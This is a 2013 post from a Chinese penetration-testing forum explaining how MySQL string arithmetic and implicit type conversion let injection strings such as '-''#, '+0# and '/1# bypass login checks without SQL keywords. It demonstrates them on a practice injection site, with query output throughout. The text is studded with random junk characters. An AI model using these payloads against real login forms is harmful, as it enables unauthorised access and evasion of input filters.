中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。0 U6 H8 {6 Q* p* c% j
有以下表结构:
0 X8 A, F+ \) Q% B# X. N8 E* E
$ ^/ S1 z& E) m+ z- e2 w# dmysql> desc admin;
: H& t* q, h# b- `4 s1 U+----------+--------------+------+-----+---------+----------------+7 g8 |! F, Q# A4 f( q* r+ K
| Field    | Type         | Null | Key | Default | Extra          |
, A- E" e8 @4 u3 ^+----------+--------------+------+-----+---------+----------------+
2 P# ^6 I! P$ Q. u. \0 ?| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |* ~# j1 H! w8 u
| name     | char(32)     | NO   | UNI | NULL    |                |
4 d' o9 G' j7 S/ R- m) W| password | char(32)     | NO   | UNI | NULL    |                |
2 S/ ?- [& M* R/ m6 O+----------+--------------+------+-----+---------+----------------+
, u2 r: N. v7 Y& p  Q3 rows in set (0.00 sec)' F; Z0 S9 {) r) D
执行select * from admin;,成功返回所有记录内容。
3 m; N! _2 ~6 V) v! H( A& E- M; {7 G0 ?

' n! W1 ~# S0 ]1 s- }$ }6 H" X; k, `5 f+----+--------+----------------------------------+3 k1 J  B. u: m/ [, u
| id | name   | password                         |4 E, C, m# Q1 h/ W& e& }7 l
+----+--------+----------------------------------+
- M  C& L  ^! O|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
. }$ M) m. K9 e# K, j|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' E' s( ]+ i8 w: ~|  4 | n00b   | ff80e8508d39047460921792273533a4 |
" J, x$ {* Z( H+----+--------+----------------------------------+  ~0 J; Y! W/ p/ O& q
3 rows in set (0.00 sec)9 |! q7 H& N& `
执行select * from admin where name=”;,没有匹配到任何记录。
$ v, w/ ?7 {6 B; Q( b# J5 O+ ]1 p$ b# {2 S7 x
mysql> select * from admin where name = '';! @! I8 s/ o. B$ E
Empty set (0.00 sec)
- T* U7 \1 q8 _& C- q  ]1 k6 o8 s+ u那么我们来执行select * from admin where name = ”-”;
3 Z/ ^6 c. @) N9 v" B
* x! L( P. y9 A2 q# Q% h6 v. @% q+ m& ^! V6 j
+----+--------+----------------------------------+; F/ J9 O  }" f% x
| id | name   | password                         |
! x' r/ H  `% Y. T  S, G* b+----+--------+----------------------------------+- M: ?5 }( ~2 r2 C6 R1 d& x& _
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
8 I* t3 S) F$ H! u- w# ?|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ G: F+ y$ g1 ^: D6 W% s' v8 s$ f|  4 | n00b   | ff80e8508d39047460921792273533a4 |
# y0 W; A# j2 o; U+----+--------+----------------------------------+* |4 p: i, ~' Y- E
3 rows in set, 3 warnings (0.00 sec)0 ^' A( r. Q; j0 f
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 2 N$ N) W5 a; U8 ?1 e/ R5 K# T
5 R4 {, s/ s% B: O! }$ R1 |
mysql> show warnings;5 U" Y0 S# l& c" p, X+ c: y
+---------+------+------------------------------------------5 r+ g( [8 a1 P' D2 N/ q7 K
| Level   | Code | Message" i7 U# t7 L" z. H% N0 g2 E
+---------+------+------------------------------------------
# S. p1 P: I( d| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin+ H' ]: o* M/ s5 X: u9 d4 D
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
' J% i  \; v  v1 Y2 q| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
- {0 T, W3 I, d( d+---------+------+------------------------------------------
& w5 t2 K' G! Z3 rows in set (0.00 sec)
' N; G& D' e  ^8 A( L; ]提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 4 ~5 z. k$ Z) e- J) @. {- y
" ^6 B1 {. Q, H4 v  {$ J
mysql> select ''-'';
8 o) H" z* A+ U2 o+-------+
6 }4 P1 X. A" C' x- e7 ~| ''-'' |
8 P8 J- H6 T  r5 K0 Y: z7 X+-------+
- V9 L3 K( d  m7 M5 P. L|     0 |
6 G& p: D* ^  E5 j7 }* O+-------+5 M* [0 a" b8 g) l) ]3 K
1 row in set (0.00 sec)1 |, R. h) N) X
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
4 B" Y) f+ _- Y/ Q' A1 c( T: X. _2 ]+ R4 h' [$ I
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
, l4 h5 k$ x) v$ r' o4 t) Z9 r+-----------------------------------------------------+
+ d; s$ `' Z/ ]: a2 F' F5 K| CAST((select name from admin limit 1,1) as DECIMAL) |# r# V3 ?9 h# h$ L/ |3 ~
+-----------------------------------------------------+
  \& M* n6 g+ V) k|                                                   0 |9 h0 x' Q" F0 J& e' `
+-----------------------------------------------------+
- G1 h/ v& O: V0 b( U9 ]3 C$ S1 row in set, 1 warning (0.00 sec)9 B2 E' ^+ r7 ~! }4 c
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 8 v( T: m" ^! `+ b) _

, e. n4 N0 ?9 Q, u8 Q" e( e9 g' YSQL注入场景: http://www.sqlzoo.net/hack/ . U# [) P2 V% v6 Y3 o! S4 i! }, G( z

; V' C9 E1 T8 {. F3 M; r
1 z+ v, @# d/ Y& j) ?) B! D" n6 l! U" K2 ]/ H, w2 c  a
9 d# N8 \, R' _% h2 _: J) x6 F
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
/ X% z: X& I2 y8 T" V6 u! S0 C
, O8 I; P' k% T( c7 p5 K- |5 x9 @那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 $ ?) g& P$ G/ f) ^6 Z6 Q" o
( k* W4 g9 g7 W* r1 {8 r  J/ F
* v6 [1 F$ l/ q  A3 j: b' h

" U: U* f6 i; I4 Q# Q; k. _( ~( f& r2 i9 m- M% z+ s9 U
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
1 u: i2 @$ }. ?0 ^! L& l# F  j) q& G4 _5 t
   7 i$ X; h7 ^3 F( Q

. Y+ U" o4 g: ^) O* r7 s: Q除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 a7 Z# K" }2 j1 Q: A0 j6 f
+ l$ {) t  w$ V1 O$ H% @( v, z4 e9 F9 L
mysql> select ''/1;
; w1 {  v4 {& K# S) ?+------+
% {" @- |0 [8 i, r| ''/1 |; r6 o: a- i: C. n
+------+
  s$ N" W$ w! i* j) N1 q) ^! q& p|    0 |
& j& A) j" A- t7 `* [7 W+------+1 U: r# e+ Q. ]& _% [5 B1 d
1 row in set (0.00 sec)
5 V. f2 Z: }9 ]) G类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  6 g- R. t& v# A, }3 S2 R! A

" Z' c# X1 k3 q5 ~+ l利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
& S0 X1 E/ c$ R! _& a





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2